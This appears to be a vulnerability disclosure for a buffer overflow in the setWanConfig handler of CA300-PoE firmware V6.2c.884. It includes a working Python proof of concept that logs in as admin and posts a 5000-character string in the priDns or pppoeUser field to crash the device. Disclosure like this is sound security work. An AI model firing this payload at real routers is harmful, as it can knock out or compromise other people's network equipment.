Overview

Affected version

CA300-PoE_Firmware V6.2c.884

Vulnerability details

In the CA300-PoE_Firmware V6.2c.884 firmware has a buffer overflow vulnerability in the setWanConfig function. The v5, v36, v37 variable receives the pppoeUser, priDns, secDns parameter from a POST request. However, since the user can control the input of pppoeUser, priDns, secDns , the statement sprintf, strcpy can cause a buffer overflow vulnerability.

image.png

image.png

image.png

image.png

POC

import requests
from urllib.parse import urljoin

def get_session(ip):
    base_url = f"http://{ip}"

    login_url = (
        f"{base_url}/formLoginAuth.htm"
        f"?authCode=1&userName=admin&goURL=&action=login"
    )

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Referer": f"{base_url}/login.htm"
    }

    print(f"[+] Login URL: {login_url}")

    response = requests.get(
        login_url,
        headers=headers,
        allow_redirects=False,
        timeout=100
    )

    print(f"[+] Login status code: {response.status_code}")

    set_cookie = response.headers.get("Set-Cookie", "")
    location = response.headers.get("Location", "")

    print(f"[+] Set-Cookie: {set_cookie}")
    print(f"[+] Location: {location}")

    session_id = response.cookies.get("SESSION_ID")

    if not session_id:
        raise RuntimeError("[-] can not access SESSION_ID")

    full_session = f"SESSION_ID={session_id}"

    print(f"[+] Extracted session: {full_session}")

    return session_id

def send_payload(ip, session_id):
    url = f"http://{ip}/cgi-bin/cstecgi.cgi"

    cookies = {
        "SESSION_ID": session_id
    }

    payload = "A"*5000
    data = {
         "topicurl": "setting/setWanConfig",
         "connectionType": "pppoe",
         "pppoeUser": payload,
         "pppoeSpecType": "3"
    }

    data = {
         "topicurl": "setting/setWanConfig",
         "connectionType": "dhcp",
         "priDns": payload,
         "secDns": "1",
         "dnsMode": "0"
    }

    response = requests.post(
        url,
        cookies=cookies,
        json=data,
        timeout=100
    )

    print("[+] Response status:")
    print(response)

def main():
    target_ip = "192.168.0.254"
    session_id = get_session(target_ip)
    send_payload(target_ip, session_id)

if __name__ == "__main__":
    main()